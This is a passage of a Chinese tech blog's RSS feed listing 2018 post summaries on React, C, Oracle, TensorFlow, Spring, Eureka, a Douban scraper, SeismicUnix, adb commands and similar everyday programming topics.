undefined”，&#xA;翻译意思是：‘无法读取未定义的属性&#39;setState&#39;’，他的意思就是告诉我们，当我们点击的时候，并没有读取到setState中的值，也就是说：&#xA;handleClick方法中的this与组件中的this不一致，不是同一个this。&#xA;碰到这个问题有两种解决方法：这两种方法的目的就是要保证：handleClick方法中的this与组件中的this要保持一致，这样才能读取到setState中的值来改变num，&#xA;第一种方法： import React, { Component } from &#39;react&#39;; import &#39;./App.css&#39;; class App extends Component { constructor(props){ super(props); this.</description>
    </item>
    <item>
      <title>【C语言】利用循环输出菱形</title>
      <link>https://bchobby.github.io/posts/f435c71a9901abbb29e7ca42169c5b86/</link>
      <pubDate>Wed, 24 Oct 2018 16:32:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f435c71a9901abbb29e7ca42169c5b86/</guid>
      <description>输出菱形的思想主要是用了等差数列 an = a1 + (n - 1) * d 来求每个循环的约束条件；&#xA;一个完整的菱形必须是由空格 、星形 来组成，切分为两部分。&#xA;题目效果如下:&#xA;//要求输出如下图形 * *** ***** *** * 代码如下:&#xA;#include &#34;stdio.h&#34; int main(){ int i,j; //开始第一部分 for(i = 1; i &amp;lt;= 3; i++){ //输出第一部分空格 for(j = 1; j &amp;lt;= (4 - i); j++){ printf(&#34; &#34;); } //输出第一部分星号 for(j = 1;j &amp;lt;= (-1 + 2 * i); j++){ printf(&#34;*&#34;); } printf(&#34;\n&#34;); } //开始第二部分 for(i = 1; i &amp;lt;= 2; i++){ //输出第二部分空格 for(j = 1;j &amp;lt;= ( 2 + i - 1 );j++){ printf(&#34;</description>
    </item>
    <item>
      <title>IDEA新建文件是自动生成注释信息设置</title>
      <link>https://bchobby.github.io/posts/baa4211a72b0b135edcce201d680530a/</link>
      <pubDate>Wed, 24 Oct 2018 11:32:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/baa4211a72b0b135edcce201d680530a/</guid>
      <description>一、效果如下：&#xA;package com.zjdx; /** * @author 作者信息 * @2018/10/24 11:24 * 文件说明： */ public class authortest { } 二、设置方法&#xA;打开设置界面：File-&amp;gt;Settings-&amp;gt;Editor-&amp;gt;File and Code Templates（或快捷键Ctrl+Alt+S）&#xA;选择Includes，光标移到File Header，可直接编辑你想要的内容及格式，也可新建一个。&#xA;保存即可。</description>
    </item>
    <item>
      <title>ORA-00911: 无效字符 问题和解决</title>
      <link>https://bchobby.github.io/posts/78ea53ab471d2cc8db8b3fd319773667/</link>
      <pubDate>Wed, 24 Oct 2018 09:10:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78ea53ab471d2cc8db8b3fd319773667/</guid>
      <description>我今天写JDBC插入数据库数据时出现ORA-00911: 无效字符问题，&#xA;我把SQL打到控制台上面，然后COPY到SQL PULS中是可以插入数据的，&#xA;但是在ECLIPSE中执行就报ORA-00911: 无效字符的错误，&#xA;我查了一下，&#xA;我的是类似这种的insert into tablea(aaa) values(‘111’);&#xA;把最后面的;去掉，修改为&#xA;insert into tablea(aaa) values(‘111’)就可以执行了。&#xA;我的数据库是oracle10g的。 原文：https://blog.csdn.net/xiaxiaorui2003/article/details/4343706</description>
    </item>
    <item>
      <title>修改DNS大大提高mac Mojave下载速度</title>
      <link>https://bchobby.github.io/posts/ba081b11f6e69e6462991f4c96ab5140/</link>
      <pubDate>Tue, 23 Oct 2018 16:21:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba081b11f6e69e6462991f4c96ab5140/</guid>
      <description>DNS：&#xA;114.114.114.114&#xA;点击桌面顶部状态栏里的苹果图标，在菜单里选择“系统偏好设置”。&#xA;点击互联网与无线下的“网络”。&#xA;在网络界面，选中正在联网的网络连接，点击右下角的“高级”选项。&#xA;在高级选项设置窗口中，选中DNS选项卡，按左下角的加号键添加一个DNS服务器地址，如8.8.8.8，也可以添加多个备用的。&#xA;到此DNS设置就完成了。</description>
    </item>
    <item>
      <title>tensorflow API：tf.map_fn</title>
      <link>https://bchobby.github.io/posts/e2e51c5edbdeb72d1df2dc5b7e0b0ba4/</link>
      <pubDate>Mon, 22 Oct 2018 21:02:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2e51c5edbdeb72d1df2dc5b7e0b0ba4/</guid>
      <description>tf.map_fn( fn, elems, dtype=None, parallel_iterations=10, back_prop=True, swap_memory=False, infer_shape=True, name=None ) 作用：map on the list of tensors unpacked from elems on dimension 0.&#xA;参数：&#xA;fn: The callable to be performed. It accepts one argument, which will have the same (possibly nested) structure as elems. Its output must have the same structure as dtype if one is provided, otherwise it must have the same structure as elems.&#xA;elems: A tensor or (possibly nested) sequence of tensors, each of which will be unpacked along their first dimension.</description>
    </item>
    <item>
      <title>EEGLAB在MATLAB中的下载、安装教程</title>
      <link>https://bchobby.github.io/posts/aa2d082ec0b66a9de52c26173d89d304/</link>
      <pubDate>Mon, 22 Oct 2018 11:40:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa2d082ec0b66a9de52c26173d89d304/</guid>
      <description>许多做心电图脑电图的同学，是必会接触到edf格式的文件，该文件是欧洲数据格式，点击CHB-MIT Scalp EEG Database可下载EEG开源数据库，接下来就需要说到eeglab的下载安装。&#xA;一、eeglab下载：eeglab分为V13、V14和完整版（注意：完整版适用于未安装MATLAB情形下，且只支持Windows os 32位操作系统，文件大小128M），安装了MATLAB就直接下载V13、V14即可。&#xA;建议最好先安装MATLAB，再下载eeglab工具包，最后再导入MATLAB工具包即可。&#xA;1、去eeglab实验室进行下载，点击eeglab Home进入官网，如下图所示：&#xA;2、在上一页面中，注意到左下角的 EEGLAB Menu/Download，点击Download，会弹出如下所示：&#xA;3、按照图示的提示进行操作，提交后出现以下页面：&#xA;4、我这里是先安装了MATLAB，故只需要下载最新版eeglab即可。下载文件名为：eeglab_current.zip&#xA;二、eeglab安装：将第一步下载的eeglab工具包导入MATLAB工具包即可&#xA;1、将下载的eeglab工具包进行解压后，将解压后文件名修改为：eeglab&#xA;2、找到MATLAB的安装目录，我这里是D:\MATLAB anzhuang&#xA;3、将解压、修改文件名后的eeglab复制到MATLAB安装目录下的toolbox下，我这里是D:\MATLAB anzhuang\toolbox&#xA;4、运行MATLAB软件，添加路径：file→set path（若MATLAB为中文版，直接：主页→设置路径），会弹出如下的框：&#xA;5、看看此路径中有没有eeglab，若没有直接：添加并包含子文件夹，将刚才复制后的路径导入即可，我这里是D:\MATLAB anzhuang\toolbox\eeglab，最好点击save即可。&#xA;6、查看路径是否添加成功：在MATLAB运行界面，输入eeglab命令，界面自动跳转，出现如下界面，则安装成功。&#xA;7、点击file—import data —using EEGLAB functions and plugins—from EDG/EDG+/EDF file，导入EDF文档，弹出如下界面&#xA;8、点击ok，弹出如下界面&#xA;9、点击ok，即可显示该数据集的详细信息，如下所示：&#xA;大家可按照此方法试试，若成功，烦请给个好评！不行，可在下面评论&#xA;不成功原因有三：&#xA;（1）matlab版本和eeglab版本不兼容，不要下载最新的eeglab包&#xA;（2）操作不当，matlab添加路径需要将其子文件也添加进入&#xA;（3）出现biosig或者extension的错误，就是导入eeglab工具包缺插件导致(总共49个eeglab插件)，这里把我的插件贴出来，&#xA;对照看缺什么插件，如果缺，就手动添加进去即可</description>
    </item>
    <item>
      <title>Spring Cloud Eureka（六）：Eureka Client 如何注册到Eureka Server</title>
      <link>https://bchobby.github.io/posts/1a852bbb27d6106f2f2dd9271240acb3/</link>
      <pubDate>Sun, 21 Oct 2018 16:54:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a852bbb27d6106f2f2dd9271240acb3/</guid>
      <description>1、本节概要 根据前文我们对Eureka Server 有了一定的了解，本节我们主要学习Eureka Client 与 Eureka Server 如何通讯的及相关通信机制是什么，本文会弄清楚一下几个问题：&#xA;@EnableDiscoveryClient 和 @EnableEurekaClient的区别&#xA;Eureka Client 启动时做了什么事情（初始化工作）&#xA;Eureka Client 怎么注册到 Eureka Server（服务注册）&#xA;怎么获取 Eureka Server 上的服务的（服务获取）&#xA;怎么保证 Eureka Client 本地的服务列表与Eureka Server 上的服务列表保持一致的（服务同步）&#xA;2、@EnableDiscoveryClient 和@EnableEurekaClient 的区别 当我们使用服务发现的注解时，却发现了两种注解，经过尝试发现两者的使用效果是一样的，那么他们的区别是什么呢,通过查询官方文档是这样解释的：&#xA;Spring Cloud Commons provides the @EnableDiscoveryClient annotation. This looks for implementations of the DiscoveryClient interface with META-INF/spring.factories. Implementations of the Discovery Client add a configuration class to spring.factories under the org.springframework.cloud.client.discovery.EnableDiscoveryClient key. Examples of DiscoveryClient implementations include Spring Cloud Netflix Eureka, Spring Cloud Consul Discovery, and Spring Cloud Zookeeper Discovery.</description>
    </item>
    <item>
      <title>利用Requests库和正则表达式爬取豆瓣影评Top250</title>
      <link>https://bchobby.github.io/posts/a4083dc23b3fc307e357b9fa1dd8907f/</link>
      <pubDate>Sat, 20 Oct 2018 11:19:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4083dc23b3fc307e357b9fa1dd8907f/</guid>
      <description>说明 最近看了下爬虫基础，想写个博客来记录一下，一来是可以方便和我一样刚入门的小白来参考学习，二来也当做自己的笔记供自己以后查阅。&#xA;本文章是利用python3.6和Requests库（需自行安装，cmd里运行pip install requests)以及正则表达式（其实利用正则表达式是比较麻烦的一种方式，但是正则表达式在很多语言都有应用，练习一下也是有好处的）来爬取豆瓣影评Top250的文本信息以及然后存储在本地的文件当中，阅读本文章前建议学习一下python基础和正则表达式。&#xA;第一次写博客而且刚刚入门python以及爬虫基础，本文的思路仅适用于不需要登录而且没有反爬机制的HTML网页，过程当中难免会有错误，还望大佬们能指出！&#xA;抓取分析 1、首先打开需要爬取的网址：https://movie.douban.com/top250 ，可以看到影评靠前的电影的详细信息。&#xA;2、向下滚动点击一次后页发现url变为https://movie.douban.com/top250?start=25&amp;amp;filter= ，再次向下滚动点击后页url又变为&#xA;https://movie.douban.com/top250?start=50&amp;amp;filter=，可以看出start参数的不同，分别为25和50，因此可以猜测后面url的start参数为75，100……利用这条规律就可以将url统一起来然后进行爬取&#xA;3、利用Requests下载目标网页的HTML代码&#xA;import requests from requests.exceptions import RequestException def get_one_page(url): try: res=requests.get(url) if res.status_code==200: return res.text return None except RequestException: return None html=get_one_page(&#39;https://movie.douban.com/top250&#39;) print(html) 本段代码是先用import导入程序必要的包，定义了一个函数get_one_page，参数为目标url，调用这个函数会返回目标url的html文本。函数内部利用requests来下载网页还是非常简单的，requests利用了get方法请求了目标网页，返回response对象，如果状态码是200（请求成功），就返回respose的text文本信息，利用print进行打印测试&#xA;4、得到目标网页的HTML代码之后，利用正则表达式进行解析。&#xA;查看网页源代码，可以发现每条电影的信息都在ol标签的li标签下&#xA;接下来就是利用正则表达式对html文档进行解析了，在此我们设定爬取目标为每个电影的排名，名称，描述，星级，评价人数以及主题等信息。&#xA;首先可以看到肖申克的救赎这部电影的排名是在该li标签下的em标签内，提取排名的正则表达式：&#xA;&amp;lt;em class=&#34; &#34;&amp;gt;(\d+)&amp;lt;/em&amp;gt;&#xA;关于正则表达式，可以利用在线测试工具http://tool.oschina.net/regex/#来测试自己写出的正则表达式是否正确,如果在在线测试工具里测试含有换行符的字符串进行正则匹配会匹配不到的（可能是因为我的知识水平不够哈，在python中可以添加re.S参数进行解决，因为一个点可以匹配除除了换行符以外的其他任意字符）这里仅对相关的一些正则的语法进行解释：&#xA;\d表示数字匹配，加上括号表示要进行提取的部分&#xA;提取电影名称的正则表达式：&#xA;&amp;lt;span class=&#34;title&#34;&amp;gt;(.*?)&amp;lt;/span&amp;gt; #注意星号前面有个英文的点，这个点表示任意字符（换行符除外），型号表示任意长度，问号表示以非贪婪匹配的方式来匹配字符串。&#xA;关于贪婪匹配：&#xA;比如说给定字符串 hello54188hahaha 给定正则表达式 ^h.*(\d+)hahaha$以及 ^h.*？(\d+)hahaha$&#xA;# ^h表示查找以字母h开头的字符串，hahaha$表示以hahaha结尾的字符串，\d+表示匹配至少一个长度的数字&#xA;因为\d+代表提取出来至少长度为1的数字，所以第一种贪婪匹配的方式会把5418算进在.*中去，第一种方式得到的匹配出的数字的结果是8，而第二种非贪婪匹配的方式是把54188都算在\d+当中去的，所以第二中方式匹配除的结果为54188。所以说，你明白我的意思吧？&#xA;之后再对描述，星级，评价人数以及电影主演进行正则提取，在此都是同样的原理，不再一一赘述，最后匹配出的综合正则表达式为：&#xA;&amp;lt;em class=&#34;&#34;&amp;gt;(\d+)&amp;lt;/em&amp;gt;.*?&amp;lt;span class=&#34;title&#34;&amp;gt;(.*?)&amp;lt;/span&amp;gt;.*?&amp;lt;p class=&#34;&#34;&amp;gt;(.*?)&amp;lt;/p&amp;gt;.*?&amp;lt;span class=&#34;rating_num&#34; property=&#34;v:average&#34;&amp;gt;(.*?)&amp;lt;/span&amp;gt;.*?&amp;lt;span&amp;gt;(.*?)&amp;lt;/span&amp;gt;.*?&amp;lt;span class=&#34;inq&#34;&amp;gt;(.*?)&amp;lt;/span&amp;gt; 利用该正则表达式对下载的HTML网页进行解析&#xA;import requests import re from requests.</description>
    </item>
    <item>
      <title>-bash: waring: setlocale: LC_ALL: cannot change locale(zh_CN.GBK) 错误</title>
      <link>https://bchobby.github.io/posts/a5ab7fa105c1f7aef7078a590cfa72c2/</link>
      <pubDate>Fri, 19 Oct 2018 17:59:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5ab7fa105c1f7aef7078a590cfa72c2/</guid>
      <description>xshell连ubuntu的时候会报上面的错误，是由于设置环境编码的时候出错。&#xA;xshell编码设置成GBK的话，会出现乱码&#xA;运行命令&#xA;sudo locale-gen zh_CN.GBK sudo update-locale LANG=zh_CN.GBK 重新设置LC_ALL=&#34;zh_CN.GBK&#34;即可</description>
    </item>
    <item>
      <title>电脑怎么录屏，什么录屏软件最好</title>
      <link>https://bchobby.github.io/posts/087f31cb286b97d777458fc031b6ba26/</link>
      <pubDate>Fri, 19 Oct 2018 13:29:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/087f31cb286b97d777458fc031b6ba26/</guid>
      <description>因为工作或者是娱乐，我们经常需要使用电脑去录制屏幕视频。那么如何录屏呢，使用什么软件可以录屏呢？其实电脑录屏整体来说还是比较容易的，有一款录屏软件就能轻松驾驭了，比如说windows自带的录屏软件，下面小编便教大家如何录制电脑屏幕。&#xA;使用方法&#xA;一、如果录制的是一些比较简单的视频，比如就几秒长短的视频，我们可以使用windows自带录屏软件。首先我们win+r，调出运行窗口。&#xA;二、然后我们输入栏里输入psr.exe，点击确定或者或者键盘敲击enter便能打开。&#xA;三、然后点击开始记录，便可开始记录视频。点击右边的停止记录即可结束视频录制。&#xA;四、windows自带的录屏软件准确的来说不能算是个完整的录屏软件，所以只能录制些简单的视频，如果需要录制更复杂的视频的话，我们可以使用屏幕录像工具。&#xA;五、打开屏幕录像工具，设置它的各项参数，如画质、录制范围、音频、录制格式等等。如果你录制的视频是游戏视频的话，小编建议大家后设置录制模式的时候可以选择游戏模式录制。&#xA;六、参数设置好了，我们可以设置下它存放视频的文件夹，点击更换目录即可设置我们存放视频的位置。&#xA;七、之后，我们就可以开始录制视频了，点击开始录制即可开始录屏，视频录制完成了，我们可以点击旁边的停止录制按钮完成录制。&#xA;八、最后录制好的视频，可以通过点击下图中打开文件夹，在弹出视频文件夹中进行查看。&#xA;你看明白了吗，其实电脑录屏并不困难，跟着本教程多操练几遍即可。</description>
    </item>
    <item>
      <title>spring中的bean默认是单例模式</title>
      <link>https://bchobby.github.io/posts/7d7a8a3d81c07b0402b7fa9345d72308/</link>
      <pubDate>Fri, 19 Oct 2018 12:10:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d7a8a3d81c07b0402b7fa9345d72308/</guid>
      <description>一、Spring单例模式及线程安全 Spring框架中的Bean，或者说组件，获取实例的时候都是默认单例模式，这是在多线程开发的时候需要尤其注意的地方。&#xA;单例模式的意思是只有一个实例，例如在Spring容器中某一个类只有一个实例，而且自行实例化后并项整个系统提供这个实例，这个类称为单例类。&#xA;当多个用户同时请求一个服务时，容器会给每一个请求分配一个线程，这时多个线程会并发执行该请求对应的业务逻辑（成员方法），此时就要注意了，如果该处理逻辑中有对单例状态的修改（体现为该单例的成员属性），则必须考虑线程同步问题。&#xA;同步机制的比较：&#xA;ThreadLocal和线程同步机制相比有什么优势呢？他们都是为了解决多线程中相同变量的访问冲突问题。&#xA;在同步机制中，通过对象的锁机制保证同一时间只有一个线程访问变量。这时该变量是多个线程共享的，使用同步机制要求程序慎密地分析什么时候对变量进行读写，什么时候需要锁定某个对象，什么时候释放对象锁等繁杂的问题，程序设计和编写难度相对较大。 而ThreadLocal则从另一个角度来解决多线程的并发访问。ThreadLocal会为每一个线程提供一个独立的变量副本，从而隔离了多个线程对数据的访问冲突。因为每一个线程都拥有自己的变量副本，从而也就没有必要对该变量进行同步了。ThreadLocal提供了线程安全的共享对象，在编写多线程代码时，可以把不安全的变量封装进ThreadLocal。 由于ThreadLocal中可以持有任何类型的对象，低版本JDK所提供的get()返回的是Object对象，需要强制类型转换。但JDK 5.0通过泛型很好的解决了这个问题，在一定程度地简化ThreadLocal的使用&#xA;概括起来说，对于多线程资源共享的问题，同步机制采用了“以时间换空间”的方式，而ThreadLocal采用了“以空间换时间”的方式。前者仅提供一份变量，让不同的线程排队访问，而后者为每一个线程都提供了一份变量，因此可以同时访问而互不影响。 Spring使用ThreadLocal解决线程安全问题 我们知道在一般情况下，只有无状态的Bean才可以在多线程环境下共享，在Spring中，绝大部分Bean都可以声明为singleton作用域。就是因为Spring对一些Bean（如RequestContextHolder、TransactionSynchronizationManager、LocaleContextHolder等）中非线程安全状态采用ThreadLocal进行处理，让它们也成为线程安全的状态，因为有状态的Bean就可以在多线程中共享了。&#xA;一般的Web应用划分为展现层、服务层和持久层三个层次，在不同的层中编写对应的逻辑，下层通过接口向上层开放功能调用。在一般情况下，从接收请求到返回响应所经过的所有程序调用都同属于一个线程&#xA;ThreadLocal是解决线程安全问题一个很好的思路，它通过为每个线程提供一个独立的变量副本解决了变量并发访问的冲突问题。在很多情况下，ThreadLocal比直接使用synchronized同步机制解决线程安全问题更简单，更方便，且结果程序拥有更高的并发性。 如果你的代码所在的进程中有多个线程在同时运行，而这些线程可能会同时运行这段代码。如果每次运行结果和单线程运行的结果是一样的，而且其他的变量的值也和预期的是一样的，就是线程安全的。 或者说:一个类或者程序所提供的接口对于线程来说是原子操作或者多个线程之间的切换不会导致该接口的执行结果存在二义性,也就是说我们不用考虑同步的问题。 线程安全问题都是由全局变量及静态变量引起的。 若每个线程中对全局变量、静态变量只有读操作，而无写操作，一般来说，这个全局变量是线程安全的；若有多个线程同时执行写操作，一般都需要考虑线程同步，否则就可能影响线程安全。&#xA;1） 常量始终是线程安全的，因为只存在读操作。 2）每次调用方法前都新建一个实例是线程安全的，因为不会访问共享的资源。&#xA;3）局部变量是线程安全的。因为每执行一个方法，都会在独立的空间创建局部变量，它不是共享的资源。局部变量包括方法的参数变量和方法内变量。&#xA;有状态就是有数据存储功能。有状态对象(Stateful Bean)，就是有实例变量的对象 ，可以保存数据，是非线程安全的。在不同方法调用间不保留任何状态。&#xA;无状态就是一次操作，不能保存数据。无状态对象(Stateless Bean)，就是没有实例变量的对象 .不能保存数据，是不变类，是线程安全的。&#xA;有状态对象:&#xA;无状态的Bean适合用不变模式，技术就是单例模式，这样可以共享实例，提高性能。有状态的Bean，多线程环境下不安全，那么适合用Prototype原型模式。Prototype: 每次对bean的请求都会创建一个新的bean实例。&#xA;Struts2默认的实现是Prototype模式。也就是每个请求都新生成一个Action实例，所以不存在线程安全问题。需要注意的是，如果由Spring管理action的生命周期， scope要配成prototype作用域&#xA;二、线程安全案例 SimpleDateFormat(下面简称sdf)类内部有一个Calendar对象引用,它用来储存和这个sdf相关的日期信息,例如sdf.parse(dateStr), sdf.format(date) 诸如此类的方法参数传入的日期相关String, Date等等, 都是交友Calendar引用来储存的.这样就会导致一个问题,如果你的sdf是个static的, 那么多个thread 之间就会共享这个sdf, 同时也是共享这个Calendar引用，非线程安全的。&#xA;这个问题背后隐藏着一个更为重要的问题--无状态：无状态方法的好处之一，就是它在各种环境下，都可以安全的调用。衡量一个方法是否是有状态的，就看它是否改动了其它的东西，比如全局变量，比如实例的字段。format方法在运行过程中改动了SimpleDateFormat的calendar字段，所以，它是有状态的。&#xA;这也同时提醒我们在开发和设计系统的时候注意下一下三点:&#xA;1.自己写公用类的时候，要对多线程调用情况下的后果在注释里进行明确说明&#xA;2.对线程环境下，对每一个共享的可变变量都要注意其线程安全性&#xA;3.我们的类和方法在做设计的时候，要尽量设计成无状态的&#xA;解决方法：&#xA;1.使用synchronized关键字进行数据同步，或者使用ThreadLocal保证线程安全&#xA;2.不适用JDK自带的时间格式化类，使用其他类库的&#xA;使用Apache commons里的FastDateFormat，宣城是既快有线程安全的SimpleDateFormat，可惜他只能对日期进行format，不能对日期串进行解析　使用Joda-Time类库来处理时间相关问题，该种对时间的处理方式比较完美，建议使用。 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------&#xA;一、单例模式：在spring中其实是scope(作用范围)参数的缺省设定值&#xA;每个bean定义只生成一个对象实例,每次getBean请求获得的都是此实例&#xA;单例模式分为饿汉模式和懒汉模式，&#xA;饿汉模式spring singleton的缺省是饿汉模式:启动容器时(即实例化容器时),为所有spring配置文件中定义的bean都生成一个实例懒汉模式在第一个请求时才生成一个实例,以后的请求都调用这个实例&#xA;spring singleton设置为懒汉模式:&#xA;&amp;lt;beans&#xA;default-lazy-init=&#34;true&#34;&amp;gt; 二、另一种和singleton对应的scope值---prototype多实例模式&#xA;调用getBean时,就new一个新实例&#xA;singleton和prototype的比较&#xA;singleton： xml配置文件:</description>
    </item>
    <item>
      <title>微信小程序使用百度地图的Api</title>
      <link>https://bchobby.github.io/posts/489ec73bf1a619621dd707fad95aa6ee/</link>
      <pubDate>Fri, 19 Oct 2018 10:45:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/489ec73bf1a619621dd707fad95aa6ee/</guid>
      <description>在微信中用百度map地图&#xA;1.xxx.wxml中的文件 &amp;lt;!--pages/dili/dili.wxml--&amp;gt; &amp;lt;view&amp;gt; &amp;lt;viwe&amp;gt;经度：{{longitude}}&amp;lt;/viwe&amp;gt; &amp;lt;view&amp;gt;纬度：{{latitude}}&amp;lt;/view&amp;gt; &amp;lt;view&amp;gt;地址：{{address}}&amp;lt;/view&amp;gt; &amp;lt;view&amp;gt;城市：{{cityInfo.city}}&amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; 2. 这是微信种js的代码 // 引用百度地图微信小程序JSAPI模块 var bmap = require(&#39;../../libs/bmap-wx.min.js&#39;); var wxMarkerData = []; //定位成功回调对象 Page({ data: { // 这个值是在百度api中申请的。 ak: &#34;tQcVtG7wiVYZ4GqTsCXIG5OUPQw0HhKL&#34;, //填写申请到的ak markers: [], longitude: &#39;&#39;, //经度 latitude: &#39;&#39;, //纬度 address: &#39;&#39;, //地址 cityInfo: {} //城市信息 }, onLoad: function (options) { var that = this; /* 获取定位地理位置 */ // 新建bmap对象 var BMap = new bmap.BMapWX({ ak: that.data.ak }); var fail = function (data) { console.</description>
    </item>
    <item>
      <title>计算文本相似度－杰卡德系数计算</title>
      <link>https://bchobby.github.io/posts/a3342bcf6db6c714acf48d0d327d408b/</link>
      <pubDate>Thu, 18 Oct 2018 16:25:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3342bcf6db6c714acf48d0d327d408b/</guid>
      <description>源于https://juejin.im/post/5b237b45f265da59a90c11d6&#xA;杰卡德系数，英文叫做 Jaccard index, 又称为 Jaccard 相似系数，用于比较有限样本集之间的相似性与差异性。Jaccard 系数值越大，样本相似度越高。实际上它的计算方式非常简单，就是两个样本的交集除以并集得到的数值，当两个样本完全一致时，结果为 1，当两个样本完全不同时，结果为 0。算法非常简单，就是交集除以并集，下面我们用 Python 代码来实现一下：&#xA;from sklearn.feature_extraction.text import CountVectorizer import numpy as np def jaccard_similarity(s1, s2): def add_space(s): return &#39; &#39;.join(list(s)) # 将字中间加入空格 s1, s2 = add_space(s1), add_space(s2) # 转化为TF矩阵 cv = CountVectorizer(tokenizer=lambda s: s.split()) corpus = [s1, s2] vectors = cv.fit_transform(corpus).toarray() # 求交集 numerator = np.sum(np.min(vectors, axis=0)) # 求并集 denominator = np.sum(np.max(vectors, axis=0)) # 计算杰卡德系数 return 1.0 * numerator / denominator s1 = &#39;你在干嘛呢&#39; s2 = &#39;你在干什么呢&#39; print(jaccard_similarity(s1, s2)) 这里我们使用了 Sklearn 库中的 CountVectorizer 来计算句子的 TF 矩阵，然后利用 Numpy 来计算二者的交集和并集，随后计算杰卡德系数。这里值得学习的有 CountVectorizer 的用法，通过它的 fit_transform() 方法我们可以将字符串转化为词频矩阵，例如这里有两句话“你在干嘛呢”和“你在干什么呢”，首先 CountVectorizer 会计算出不重复的有哪些字，会得到一个字的列表，结果为：</description>
    </item>
    <item>
      <title>关于SU（SeismicUnix）的使用——数字信号处理部分</title>
      <link>https://bchobby.github.io/posts/46439bacb7ab728145c558a2d4d38f32/</link>
      <pubDate>Thu, 18 Oct 2018 10:29:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46439bacb7ab728145c558a2d4d38f32/</guid>
      <description>一、绘制频谱曲线 首先我们需要一个数据，我们构造出一个模拟单炮数据data.su用suwind将数据变成单道数据,这里我从单炮数据中抽取关键字tracl=60的数据 ： suwind&amp;lt;data.su key=tracl max=60 min= 60&amp;gt;singleline.su&#xA;对singleline.su作傅里叶变换（sufft），将振幅谱显示出来即可。命令行代码如下： sufft&amp;lt;singleline.su |suamp mode=amp|suxgraph style=normal 注意： 仅仅使用sufft和suamp，而没有输出或显示是不可以的！会报错：’output can’t be tty‘，需要用suxgraph进行显示或者进行输出，就不会报错了！通常将sufft与suamp组合起来使用，那么就可以将快速傅里叶变化后的结果中的mode=振幅（amp）、相位（phase）、实部和虚部(real/imag)显示或者输出。 二、使用sufilter进行滤波 *注：*在/su/src/demos/Filtering 中可以看到su自带的演示例子，但是由于demos里面需要OZ Yilmaz.H 和 .F 文件，但是在CWP的网页中无法打开对应链接进而下载数据。所以这可能就需要自己用su去构造一个模拟数据，然后分析demos里面的shell，对shell做一些修改并再应用了。&#xA;首先，我们sufilter的功能介绍，在命令行输入 sudoc sufilter， 我们可以看到sufilter是应用零相位的滤波器，应用时必须在道头中有参数dt! 可选择的参数有 f 和 amps ，而且f和amps的参数是对应的，也就是说每一个频率对应一个滤波器的振幅值。f和amps各有两个参数时，例如:在命令行输入： sufilter&amp;lt; single.su f=30,40 amps=1,0 &amp;gt; tmp.su //这行代码是说对 single.su 进行‘低通’滤波处理， //滤波器的参数为小于30Hz的为幅值为1，大于40HZ的部分幅值为零，30-40Hz之间的频率即为滤波器的过渡带。 f 和amps各有四个参数时，就可随意构成带通，带阻，低通和高通的滤波器，例如一个30-40Hz的带通滤波器： sufilter&amp;lt; single.su f=20, 30,40, 50 amps=0,1,1,0 &amp;gt; tmp.su 由此可见，sufilter的f=f1,f2,f3,…和amps=a1,a2参数表示的是:在频谱曲线上各个对应点(f1,a1), (f2,a2), (f3,a3), … 这些点的连线构成的滤波器，在这些点之外的曲线与第一个点和最后一个点的幅值相同。&#xA;最后注意： sufilter 的f与amps 只是用一对参数是不允许的对tmp.su可以使用上面一绘制频谱曲线的方法进行绘制频谱曲线，来查看效果参数verbose待补充！参数verbose待补充！ 三、绘制fk谱 OZ. Yilmaz 在他的书《Seismic data analysis》的二维傅里叶变换中说：</description>
    </item>
    <item>
      <title>经典资源网站地址</title>
      <link>https://bchobby.github.io/posts/fa2663f4cb7b987caac35fec6cb9bd50/</link>
      <pubDate>Tue, 16 Oct 2018 18:43:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa2663f4cb7b987caac35fec6cb9bd50/</guid>
      <description>http://blog.javachen.com&#xA;https://kaimingwan.com&#xA;转载于:https://www.cnblogs.com/xjh713/p/9799867.html</description>
    </item>
    <item>
      <title>关于模拟器adb 端口查看</title>
      <link>https://bchobby.github.io/posts/198b0fe319c66ea1ca24a689ec7e6c3d/</link>
      <pubDate>Tue, 16 Oct 2018 08:35:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/198b0fe319c66ea1ca24a689ec7e6c3d/</guid>
      <description>4.4和5.1内核版本 端口都是不同 但是可以看出规律&#xA;使用 adb devices查看&#xA;一、如何找到adb？&#xA;安装逍遥安卓模拟器后，电脑桌面会有“逍遥拟器”的启动图标，鼠标右键–打开文件所在的位置，就会进入***\Microvirt\MEmu，比如路径是C:\Program Files (x86)\NoxMicrovirt\MEmu，然后可以在该路径下找到adb.exe&#xA;二、如何连接设备？&#xA;首先需要进入\Microvirt\MEmu路径的cmd窗口，如何进入？&#xA;方式一：继续上述的步骤，进入\Microvirt\MEmu目录，然后按Shift键的同时，单击鼠标右键，就会看到“在此处打开命令窗口(W)”，点击即可进入\Microvirt\MEmu路径的cmd窗口。&#xA;方式二：按Windows+R键，在弹出的“运行”窗口输入cmd，确定，然后输入cd C:\Program Files Microvirt\MEmu&#xA;操作如下&#xA;比如： 我启动模拟器 1 2 3adb 连接 就是&#xA;List of devices attached&#xA;127.0.0.1:21513 device&#xA;127.0.0.1:21523 device&#xA;127.0.0.1:21533 device&#xA;可以看到规律 215+1加3开始215 +2加3 215+3加3以此类推&#xA;常用adb操作&#xA;1、如何把电脑上的文件或文件夹传到模拟器里面？&#xA;adb push D:/1.avi /mnt/avi/&#xA;2、如何把模拟器里面的文件或文件夹传到电脑上？&#xA;adb pull /mnt/avi/sex.avi D:/avi/&#xA;3、安装APK&#xA;adb install d:\qq.apk&#xA;4、卸载APK&#xA;adb uninstall 包名&#xA;比如卸载QQ：adb uninstall 